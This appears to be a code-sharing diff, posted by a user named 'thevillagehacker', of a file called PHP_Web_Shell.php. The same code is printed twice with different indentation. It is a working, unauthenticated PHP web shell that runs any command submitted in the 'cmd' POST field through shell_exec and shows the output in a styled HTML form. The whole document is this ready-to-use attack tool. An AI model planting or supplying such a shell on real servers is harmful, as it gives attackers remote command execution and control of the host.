thevillagehacker · September 1, 2021 11:42
diff --git a/PHP_Web_Shell.php b/PHP_Web_Shell.php
 <?php
 if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
 }
 ?>
 <!DOCTYPE html>
 <html lang="en">
 <!-- By Artyum (https://github.com/artyuum) -->
 <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Web Shell</title>
    <style>
        * {
            -webkit-box-sizing: border-box;
            box-sizing: border-box;
        }

        body {
            font-family: sans-serif;
            color: rgba(0, 0, 0, .75);
        }

        main {
            margin: auto;
            max-width: 850px;
        }

        pre,
        input,
        button {
            border-radius: 5px;
        }

        pre,
        input,
        button {
            background-color: #efefef;
        }

        label {
            display: block;
        }

        input {
            width: 100%;
            background-color: #efefef;
            border: 2px solid transparent;
        }

        input:focus {
            outline: none;
            background: transparent;
            border: 2px solid #e6e6e6;
        }

        button {
            border: none;
            cursor: pointer;
            margin-left: 5px;
        }

        button:hover {
            background-color: #e6e6e6;
        }

        pre,
        input,
        button {
            padding: 10px;
        }

        .form-group {
            display: -webkit-box;
            display: -ms-flexbox;
            display: flex;
            padding: 15px 0;
        }
    </style>

 </head>

 <body>
    <main>
        <h1>Web Shell</h1>
        <h2>Execute a command</h2>

        <form method="post">
            <label for="cmd"><strong>Command</strong></label>
            <div class="form-group">
                <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
                       onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
                <button type="submit">Execute</button>
            </div>
        </form>

        <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
            <h2>Output</h2>
            <?php if (isset($cmd)): ?>
                <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
            <?php else: ?>
                <pre><small>No result.</small></pre>
            <?php endif; ?>
        <?php endif; ?>
    </main>
 </body>
 </html>
	<?php
	if (!empty($_POST['cmd'])) {
	$cmd = shell_exec($_POST['cmd']);
	}
	?>
	<!DOCTYPE html>
	<html lang="en">
	<!-- By Artyum (https://github.com/artyuum) -->
	<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Web Shell</title>
	<style>
	* {
	-webkit-box-sizing: border-box;
	box-sizing: border-box;
	}

	body {
	font-family: sans-serif;
	color: rgba(0, 0, 0, .75);
	}

	main {
	margin: auto;
	max-width: 850px;
	}

	pre,
	input,
	button {
	border-radius: 5px;
	}

	pre,
	input,
	button {
	background-color: #efefef;
	}

	label {
	display: block;
	}

	input {
	width: 100%;
	background-color: #efefef;
	border: 2px solid transparent;
	}

	input:focus {
	outline: none;
	background: transparent;
	border: 2px solid #e6e6e6;
	}

	button {
	border: none;
	cursor: pointer;
	margin-left: 5px;
	}

	button:hover {
	background-color: #e6e6e6;
	}

	pre,
	input,
	button {
	padding: 10px;
	}

	.form-group {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	padding: 15px 0;
	}
	</style>

	</head>

	<body>
	<main>
	<h1>Web Shell</h1>
	<h2>Execute a command</h2>

	<form method="post">
	<label for="cmd"><strong>Command</strong></label>
	<div class="form-group">
	<input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"
	onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>
	<button type="submit">Execute</button>
	</div>
	</form>

	<?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>
	<h2>Output</h2>
	<?php if (isset($cmd)): ?>
	<pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>
	<?php else: ?>
	<pre><small>No result.</small></pre>
	<?php endif; ?>
	<?php endif; ?>
	</main>
	</body>
	</html>